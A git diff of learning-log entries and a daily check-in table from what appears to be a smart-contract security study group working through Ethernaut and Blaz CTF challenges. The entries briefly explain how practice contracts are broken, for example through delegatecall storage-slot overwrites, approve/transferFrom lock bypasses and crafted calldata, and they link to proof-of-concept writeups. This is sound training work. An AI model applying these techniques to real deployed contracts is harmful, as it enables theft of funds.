diff --git a/0xE.md b/0xE.md index 0e9f5f51..0f40b5db 100644 --- a/0xE.md +++ b/0xE.md @@ -84,5 +84,7 @@ timezone: Pacific/Auckland ### 2024.09.20 [[Blaz CTF 2023] 4 | Lockless Swap](./Writeup/0xE/blazctf-2023/lockless-swap.md) +### 2024.09.21 +参加 Blaz CTF 2024 diff --git a/0xLight.md b/0xLight.md index f7cba036..c426f8fd 100644 --- a/0xLight.md +++ b/0xLight.md @@ -245,6 +245,13 @@ function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes cal ``` 这是攻击的主要代码,但是不理解为什么要连续调用那么多次skim,也没弄清楚攻击逻辑。 +### 2024.9.21 +做blazctf2024,感觉真正做题和做以前的github里面的题感觉大不相同,要自己去找数据,下载题目 +### 2024.9.22 +因为不怎么用telegram今天一登陆发现错过了1000多信息,也发现原来要在那上面请假才算,,, +blazctf2024做出了两道,等明天比赛结束了写 + +https://github.com/JadeLight7/blazctf2024/tree/main diff --git a/0xNezha.md b/0xNezha.md index c784100a..c0dfedcb 100644 --- a/0xNezha.md +++ b/0xNezha.md @@ -93,5 +93,8 @@ bytes32[3] private data 通过合约调用的方式当然无法读取 private 这一关主要考察 ERC20 的 ABI,该代币的持有者无法直接转账,必须等锁定期过了才能转。但如果把全部额度授权给第三人,则第三人可以把代币全部提走。主要使用 approve(address _spender, uint256 _value) 和 transferFrom(address _from, address _to, uint256 _value)。 [15_NaughtCoin](./Writeup/0xNezha/Ethernaut/15_NaughtCoin.md) ### 2024.09.20 -这一关主要考察delegatecall()。目标合约想要通过 timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp)) 来调用库合约的 setTime(uint256 _time) 达到修改目标合约中 uint256 storedTime 变量的目的。然而使用 delegatecall() 函数进行外部调用时,当涉及到 storage 变量的修改时,是根据 slot 的位置来修改的,而不是通过变量名。也就是说库合约中的 uint256 storedTime 位于 slot0,则目标合约调用外部函数时,修改的也是目标合约的 slot0,而不是位于其他 slot 的变量 storedTime。 +这一关主要考察delegatecall()。目标合约想要通过 timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp)) 来调用库合约的 setTime(uint256 _time) 达到修改目标合约中 uint256 storedTime 变量的目的。然而使用 delegatecall() 函数进行外部调用时,当涉及到 storage 变量的修改时,是根据 slot 的位置来修改的,而不是通过变量名。也就是说库合约中的 uint256 storedTime 位于 slot0,则目标合约调用外部函数时,修改的也是目标合约的 slot0,而不是位于其他 slot 的变量 storedTime。[16_Preservation](./Writeup/0xNezha/Ethernaut/16_Preservation/16_Preservation.md) + +### 2024.09.21 +这一关主要考察 合约地址的计算和 destroy() 的应用。合约地址计算就不多说了,也可以在区块浏览器中直接查到合约地址,然后调用 destroy() [17_Recovery](./Writeup/0xNezha/Ethernaut/17_Recovery.md) diff --git a/AlexLiao.md b/AlexLiao.md index 2da2e2d3..2b7e9bbf 100644 --- a/AlexLiao.md +++ b/AlexLiao.md @@ -323,4 +323,8 @@ abi.encodePacked(type(Contract).creationCode, uint256(uint160(address(owner)))) ### 2024.09.21 +參加 BlazCTF 2024 + +### 2024.09.22 + diff --git a/Alive.md b/Alive.md index 1983403b..21e3b2b9 100644 --- a/Alive.md +++ b/Alive.md @@ -206,4 +206,14 @@ mint20次即可,但要注意一个点,mint20次后要手动调一下solve方 今天聚会,没时间做了,明天最后一天总结一下这期的共学情况。 +### 2024.09.21 + +这次共学做完了ethernaut的题,还尝试做了下2023的blaz的头几题,第一次体验了什么是ctf。做的过程可以发现对底层汇编和字节码的理解不足,后续考虑强化这方面的学习。 +做完ethernaut之后,做其他的题遇到了较多的困难,后面共学的积极性受挫。下次共学可以考虑遇到难的题目,也可以记录思考的过程,难点是什么,进一步搜集学习相关内容,而不是直接放弃会更好。 +通过共学营和ethernaut我算是入了个ctf的门,后续有机会的话会考虑继续深入学习。 + +### 2024.09.22 + +圆满结营,感谢DeFiHackLabs组织的这次活动,如果还有下次共学,将考虑挑战比ethernaut难的系列题目。 + diff --git a/BillyC.md b/BillyC.md index 5bee60d0..a84a6217 100644 --- a/BillyC.md +++ b/BillyC.md @@ -114,5 +114,7 @@ https://hackmd.io/@0xbc000/SJ61x8j3R 1. Damn Vulnerable DeFi - Backdoor https://hackmd.io/@0xbc000/rJ1d_9ZTC 2. Work on blog post for old challenges +### 2024.09.21 +1. BlazCTF .... but only solve the hello world 😢 diff --git a/KeShin.md b/KeShin.md index 33fa30d6..3a2c83a8 100644 --- a/KeShin.md +++ b/KeShin.md @@ -190,14 +190,18 @@ KeShin, 合约安全新人 - sstore(treasury.slot, calldataload(4)) 是从 calldata 的第4位开始读取数据,那么我们构造 calldata 使值大于 255 - [POC](./Writeup/KeShin/A-Ethernaut%20CTF/30-HigherOrder/) -#### [Ethernaut CTF : 31 Stake](https://ethernaut.openzeppelin.com/level/301) +#### [Ethernaut CTF : 31 Stake](https://ethernaut.openzeppelin.com/level/31) +- 使合约满足条件:合约的 ETH balance 大于 0,totalStaked 比 合约的 ETH balance 大(这意味着有 WETH 质押),我自己必须是质押人,但质押余额是 0(质押过然后撤回了) - [POC](./Writeup/KeShin/A-Ethernaut%20CTF/31-Stake/) ### 2024.9.20 +#### [Ethcc CTF 2023 : 1 Proxy capture](https://github.com/spalen0/warroom-ethcc-2023?tab=readme-ov-file#task-1---proxy-capture-15-points) +- [POC](./Writeup/KeShin/B-ETHCC2023/1-ProxyCapture/) ### 2024.9.21 + ### 2024.9.22 diff --git a/README.md b/README.md index 7f0ac6cc..aeba605a 100644 --- a/README.md +++ b/README.md @@ -126,54 +126,54 @@ https://github.com/fiveoutofnine/tardis | Web3CTF· Name | 8.29 | 8.30 | 8.31 | 9.01 | 9.02 | 9.03 | 9.04 | 9.05 | 9.06 | 9.07 | 9.08 | 9.09 | 9.10 | 9.11 | 9.12 | 9.13 | 9.14 | 9.15 | 9.16 | 9.17 | 9.18 | 9.19 | 9.20 | 9.21 | 9.22 | | ------------- | ---- | ---- | ---- | ---- | ---- | ---- | ---- | ---- | ---- | ---- | ---- | ---- | ---- | ---- | ---- | ---- | ---- | ---- | ---- | ---- | ---- | ---- | ---- | ---- | ---- | -| SunSec | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | | | -| Ching367436 | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | | | +| SunSec | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ⭕️ | | +| Ching367436 | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ⭕️ | | | Lori | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ⭕️ | ✅ | ✅ | ⭕️ | ✅ | ⭕️ | ⭕️ | ❌ | | | | | | | | | | | | -| D13 | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ⭕️ | ✅ | ✅ | ✅ | ✅ | | | +| D13 | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ⭕️ | ✅ | ✅ | ✅ | ✅ | ⭕️ | | | VioletSakura777 | ⭕️ | ⭕️ | ❌ | | | | | | | | | | | | | | | | | | | | | | | | creativebluecat | ⭕️ | ⭕️ | ❌ | | | | | | | | | | | | | | | | | | | | | | | | Alan | ⭕️ | ⭕️ | ❌ | | | | | | | | | | | | | | | | | | | | | | | -| kkontheway | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ⭕️ | ⭕️ | | | +| kkontheway | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ⭕️ | ⭕️ | ❌ | | | Teron | ⭕️ | ⭕️ | ❌ | | | | | | | | | | | | | | | | | | | | | | | | Henry | ✅ | ⭕️ | ✅ | ✅ | ✅ | ✅ | ⭕️ | ✅ | ⭕️ | ❌ | | | | | | | | | | | | | | | | | Beihai | ⭕️ | ✅ | ⭕️ | ✅ | ✅ | ✅ | ⭕️ | ⭕️ | ❌ | | | | | | | | | | | | | | | | | -| Ronas | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ⭕️ | | | +| Ronas | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ⭕️ | ⭕️ | | | WangHan | ✅ | ✅ | ⭕️ | ✅ | ⭕️ | ⭕️ | ❌ | | | | | | | | | | | | | | | | | | | | DynamoX | ⭕️ | ⭕️ | ❌ | | | | | | | | | | | | | | | | | | | | | | | | terry | ✅ | ✅ | ✅ | ✅ | ⭕️ | ✅ | ✅ | ✅ | ✅ | ⭕️ | ✅ | ⭕️ | ⭕️ | ❌ | | | | | | | | | | | | -| bytenoob | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | | | -| KeShin | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ⭕️ | ✅ | ⭕️ | | | +| bytenoob | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | | +| KeShin | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ⭕️ | ✅ | ✅ | ⭕️ | | | Slark | ✅ | ✅ | ✅ | ✅ | ⭕️ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ⭕️ | ⭕️ | ❌ | | | | | | | | | | Eekau | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ⭕️ | ✅ | ⭕️ | ✅ | ⭕️ | ❌ | | | | -| Alive | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ⭕️ | ⭕️ | ✅ | ✅ | ✅ | ✅ | ✅ | ⭕️ | ⭕️ | ✅ | ✅ | ✅ | ⭕️ | ✅ | ⭕️ | ✅ | ✅ | | | -| ret2basic | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | | | -| geyu | ✅ | ✅ | ⭕️ | ✅ | ✅ | ✅ | ✅ | ✅ | ⭕️ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ⭕️ | ✅ | ✅ | ✅ | ✅ | | | -| Ric-Li-C | ⭕️ | ✅ | ⭕️ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ⭕️ | ✅ | ⭕️ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | | | -| Clad | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ⭕️ | ✅ | ✅ | ✅ | ✅ | ✅ | ⭕️ | ✅ | ✅ | ✅ | ✅ | ⭕️ | ✅ | ✅ | ✅ | ⭕️ | | | +| Alive | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ⭕️ | ⭕️ | ✅ | ✅ | ✅ | ✅ | ✅ | ⭕️ | ⭕️ | ✅ | ✅ | ✅ | ⭕️ | ✅ | ⭕️ | ✅ | ✅ | ✅ | ✅ | +| ret2basic | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ⭕️ | | +| geyu | ✅ | ✅ | ⭕️ | ✅ | ✅ | ✅ | ✅ | ✅ | ⭕️ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ⭕️ | ✅ | ✅ | ✅ | ✅ | ⭕️ | | +| Ric-Li-C | ⭕️ | ✅ | ⭕️ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ⭕️ | ✅ | ⭕️ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ⭕️ | | +| Clad | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ⭕️ | ✅ | ✅ | ✅ | ✅ | ✅ | ⭕️ | ✅ | ✅ | ✅ | ✅ | ⭕️ | ✅ | ✅ | ✅ | ⭕️ | ❌ | | | 0xLasadie | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ⭕️ | ✅ | ✅ | ⭕️ | ✅ | ⭕️ | ❌ | | | | -| Ha2ryzhang | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ⭕️ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ⭕️ | ⭕️ | | | -| spn | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ⭕️ | ⭕️ | | | -| phipupt | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | | | -| koaxwi | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | | | +| Ha2ryzhang | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ⭕️ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ⭕️ | ⭕️ | ❌ | | +| spn | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ⭕️ | ⭕️ | ❌ | | +| phipupt | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | | +| koaxwi | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | | | w1zard | ⭕️ | ⭕️ | ❌ | | | | | | | | | | | | | | | | | | | | | | | | Syen | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ⭕️ | ⭕️ | ✅ | ⭕️ | ⭕️ | ❌ | | | | | | | | | | | | | galois | ✅ | ⭕️ | ⭕️ | ✅ | ✅ | ✅ | ✅ | ⭕️ | ⭕️ | ❌ | | | | | | | | | | | | | | | | -| yulai | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ⭕️ | ⭕️ | | | -| BillyC | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | | | -| awmpy | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | | | +| yulai | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ⭕️ | ⭕️ | ✅ | ✅ | +| BillyC | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | | +| awmpy | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | | Joyboy | ✅ | ✅ | ⭕️ | ✅ | ✅ | ⭕️ | ⭕️ | ❌ | | | | | | | | | | | | | | | | | | | xiaopai | ✅ | ⭕️ | ✅ | ✅ | ✅ | ✅ | ✅ | ⭕️ | ✅ | ✅ | ✅ | ✅ | ⭕️ | ✅ | ⭕️ | ❌ | | | | | | | | | | | Joey | ✅ | ✅ | ✅ | ✅ | ⭕️ | ✅ | ⭕️ | ❌ | | | | | | | | | | | | | | | | | | | Elliot_404 | ⭕️ | ⭕️ | ✅ | ✅ | ⭕️ | ⭕️ | ❌ | | | | | | | | | | | | | | | | | | | -| SpeedX | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | | | -| Snooowgh | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ⭕️ | ✅ | ⭕️ | ✅ | ✅ | ✅ | ✅ | | | -| blockpanda | ✅ | ✅ | ⭕️ | ✅ | ✅ | ✅ | ✅ | ⭕️ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ⭕️ | ✅ | ✅ | ✅ | ✅ | | | +| SpeedX | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ⭕️ | | +| Snooowgh | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ⭕️ | ✅ | ⭕️ | ✅ | ✅ | ✅ | ✅ | ⭕️ | | +| blockpanda | ✅ | ✅ | ⭕️ | ✅ | ✅ | ✅ | ✅ | ⭕️ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ⭕️ | ✅ | ✅ | ✅ | ✅ | ⭕️ | | | Tttim3 | ⭕️ | ⭕️ | ❌ | | | | | | | | | | | | | | | | | | | | | | | | Antigone4224 | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ⭕️ | ✅ | ⭕️ | ❌ | | | | | | | | | | | | | | | | -| spark | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ⭕️ | ✅ | ✅ | ✅ | ✅ | ✅ | ⭕️ | ✅ | ✅ | ✅ | ✅ | ⭕️ | ⭕️ | | | +| spark | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ⭕️ | ✅ | ✅ | ✅ | ✅ | ✅ | ⭕️ | ✅ | ✅ | ✅ | ✅ | ⭕️ | ⭕️ | ❌ | | | 23jdn | ✅ | ✅ | ⭕️ | ✅ | ✅ | ✅ | ✅ | ✅ | ⭕️ | ⭕️ | ✅ | ⭕️ | ⭕️ | ❌ | | | | | | | | | | | | -| 0xLight | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ⭕️ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ⭕️ | ✅ | | | -| HarryRiddle | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | | | +| 0xLight | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ⭕️ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ⭕️ | ✅ | ✅ | ✅ | +| HarryRiddle | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ⭕️ | | | wiromi | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ⭕️ | ✅ | ✅ | ✅ | ⭕️ | ✅ | ⭕️ | ❌ | | | | | | | | | | | | 0xWeakSheep | ✅ | ⭕️ | ⭕️ | ✅ | ⭕️ | ⭕️ | ❌ | | | | | | | | | | | | | | | | | | | | Alix | ⭕️ | ✅ | ⭕️ | ✅ | ⭕️ | ⭕️ | ❌ | | | | | | | | | | | | | | | | | | | @@ -182,45 +182,45 @@ https://github.com/fiveoutofnine/tardis | yochan0406 | ✅ | ⭕️ | ✅ | ✅ | ⭕️ | ⭕️ | ❌ | | | | | | | | | | | | | | | | | | | | Oscar | ✅ | ⭕️ | ⭕️ | ✅ | ⭕️ | ⭕️ | ❌ | | | | | | | | | | | | | | | | | | | | donut | ⭕️ | ⭕️ | ❌ | | | | | | | | | | | | | | | | | | | | | | | -| 0xNezha | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ⭕️ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | | | -| YuKirasawa | ⭕️ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | | | +| 0xNezha | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ⭕️ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | | +| YuKirasawa | ⭕️ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | | | Shall | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ⭕️ | ⭕️ | ✅ | ⭕️ | ⭕️ | ❌ | | | | | | | | | | | | | everettfu | ⭕️ | ⭕️ | ❌ | | | | | | | | | | | | | | | | | | | | | | | | sudotx | ✅ | ✅ | ✅ | ✅ | ⭕️ | ⭕️ | ❌ | | | | | | | | | | | | | | | | | | | -| AlexLiao | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | | | -| DeletedAccount | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ⭕️ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | | | +| AlexLiao | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | | +| DeletedAccount | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ⭕️ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ⭕️ | | | Frank | ⭕️ | ⭕️ | ❌ | | | | | | | | | | | | | | | | | | | | | | | | YangRui | ✅ | ⭕️ | ⭕️ | ✅ | ⭕️ | ⭕️ | ❌ | | | | | | | | | | | | | | | | | | | | 0xRory | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ⭕️ | ⭕️ | ✅ | ⭕️ | ⭕️ | ❌ | | | | | | | | | | | | | riba2534 | ⭕️ | ⭕️ | ❌ | | | | | | | | | | | | | | | | | | | | | | | -| lianshus | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ⭕️ | ✅ | ⭕️ | ✅ | ✅ | ✅ | ✅ | ✅ | ⭕️ | ✅ | | | +| lianshus | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ⭕️ | ✅ | ⭕️ | ✅ | ✅ | ✅ | ✅ | ✅ | ⭕️ | ✅ | ✅ | | | CharlieC | ⭕️ | ⭕️ | ❌ | | | | | | | | | | | | | | | | | | | | | | | | andylinee | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ⭕️ | ✅ | ✅ | ✅ | ✅ | ⭕️ | ✅ | ⭕️ | ✅ | ⭕️ | ❌ | | | | | SnorlaxMin | ⭕️ | ⭕️ | ❌ | | | | | | | | | | | | | | | | | | | | | | | | silver | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ⭕️ | ✅ | ✅ | ⭕️ | ❌ | | | | | | | | | -| LouisTsai | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | | | +| LouisTsai | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ⭕️ | | | ddd009 | ⭕️ | ⭕️ | ❌ | | | | | | | | | | | | | | | | | | | | | | | | comcat | ⭕️ | ⭕️ | ❌ | | | | | | | | | | | | | | | | | | | | | | | -| sivan | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ⭕️ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ⭕️ | ✅ | ✅ | ✅ | ⭕️ | ✅ | | -| doublespending | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ⭕️ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | | -| 0xE | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | | | +| sivan | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ⭕️ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ⭕️ | ✅ | ✅ | ✅ | ⭕️ | ✅ | | +| doublespending | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ⭕️ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | +| 0xE | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | 